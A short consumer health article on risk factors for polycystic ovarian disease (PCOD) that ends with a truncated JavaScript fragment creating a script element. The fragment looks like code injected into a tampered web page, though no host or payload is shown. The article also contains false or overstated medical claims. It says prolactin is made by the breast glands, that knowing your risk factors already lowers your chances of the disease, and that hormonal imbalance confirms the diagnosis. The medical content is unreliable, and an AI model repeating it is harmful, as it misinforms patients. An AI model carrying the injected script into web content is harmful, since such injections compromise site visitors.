Polycystic Overian disease (PCOD) is not caused due to one particular reason, but both genetic as well as environmental factors are responsible for causing PCOD. Being aware of your health profile and identifying the risk factors for PCOD means you have already reduced your chances for getting the disease!
It is also important for women who have any of the risk factor mentioned below to get their regular health check-ups done to stay far away from PCOD.
Risk Factors for PCOD:
- Heredity: Genes plays a very important role in disease profile of an individual. If anyone from your family has PCOD, then you are predisposed to develop this condition. Also if there is family history of diabetes or obesity then also risk for PCOD increases.
- Insulin resistance: Insulin is a hormone produced by pancreas, which plays an important role in maintaining blood sugar levels in the body. During insulin resistance our body tissues become resistant for the action of insulin. So in result blood sugar levels are not maintained and raised levels are seen in your blood reports. For compensating resistance body produces extra insulin and overproduction of insulin causes ovaries to produce extra testosterone hormone. Extra testosterone hormone interferes with the normal ovulation process. If you are suspected for insulin resistance at early years you should repeatedly check yourselves for PCOD.
- Hormonal Imbalance: Hormonal imbalance is a clear indication for confirming the PCOD diagnosis. There are certain hormones which are associated with disease which can be checked regularly if you have any risk factors.
- Raised levels of Testosterone: Testosterone is a male hormone yet very small amount is produced by female body. It is seen that ovaries of women with PCOD often produces extra Testosterone hormone which can also be due to insulin resistance.
- Higher Luteinizing hormone: Luteinizing hormone is an important hormone to have an regular normal Ovulation process. Abnormally high levels of LH hormone are seen in case of PCOD showing its abnormal effects.
- Higher Prolactin: Prolactin is a hormone produced by the breast glands during pregnancy to produce milk. PCOD is associated with raising the Prolactin levels due to hormonal imbalance.
- Obesity: Although obesity is not directly responsible to cause PCOD, yet it increases your risk for it. Abnormal Fat layers in body increases risk for Insulin resistance and also can be responsible for hormonal imbalance. So Obesity is also one of the major risk for PCOD.
- Unhealthy Dietary habits: Unhealthy eating habits or even irregular eating timings can make you suffer from variety of disorders and PCODs is one of them. As unhealthy eating leads to obesity and thus consequences of obesity comes behind leading to PCOD.
If you keep your eye on these genetic as well as environmental factors then you have won half the battle with PCOD.var d=document;var s=d.createElement(‘script’);